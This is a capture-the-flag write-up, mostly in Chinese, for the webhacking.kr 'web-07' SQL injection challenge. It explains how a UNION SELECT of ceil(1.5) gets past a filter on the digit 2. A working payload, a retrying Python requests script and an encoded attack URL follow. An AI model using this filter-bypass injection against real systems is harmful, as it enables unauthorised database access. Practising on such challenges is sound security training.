Challenge
Bypass the SQL filters and make the selected value equal 2.
绕过 SQL 过滤器,让查询结果变成 2。
https://webhacking.kr/challenge/web-07/Analysis
源码随机用 1 到 5 层括号包裹 val,再把查询结果的第一列当作 level。输入过滤器拒绝直接出现数字 2,但 ceil(1.5) 的结果是整数 2,且 payload 不含被拦截的字面量。用 UNION 追加一行,就能让结果集的第一行成为这个值;结尾的 # 用来注释随机包装后剩余的 SQL。
Solution
下面的脚本通过 params 传递值。requests 会把 payload 中的 # 编码为 %23,服务器解码一次后才得到 SQL 注释符;不要手工把已经编码的 %23 再传入 params,否则可能变成双重编码。由于服务端的括号层数随机,脚本最多重试 10 次。
#!/usr/bin/env python3import osimport sys
import requests
URL = os.environ.get( "OLD07_URL", "https://webhacking.kr/challenge/web-07/")PAYLOAD = "0)union(select(ceil(1.5)))#"ATTEMPTS = 10
def main() -> int: with requests.Session() as session: for attempt in range(1, ATTEMPTS + 1): response = session.get( URL, params={"val": PAYLOAD}, timeout=10, ) response.raise_for_status() print(f"attempt {attempt}: {response.url}") if "old-07" in response.text: print(response.text) return 0 print("The random query wrapper did not accept the payload in this run.") return 1
if __name__ == "__main__": sys.exit(main())若直接构造 URL,请使用:
https://webhacking.kr/challenge/web-07/?val=0%29union%28select%28ceil%281.5%29%29%29%23这里的 %23 是 URL 层的编码形式,不能把字面量 # 留在 URL 中,否则浏览器会把它当作 fragment 而不发送给服务器。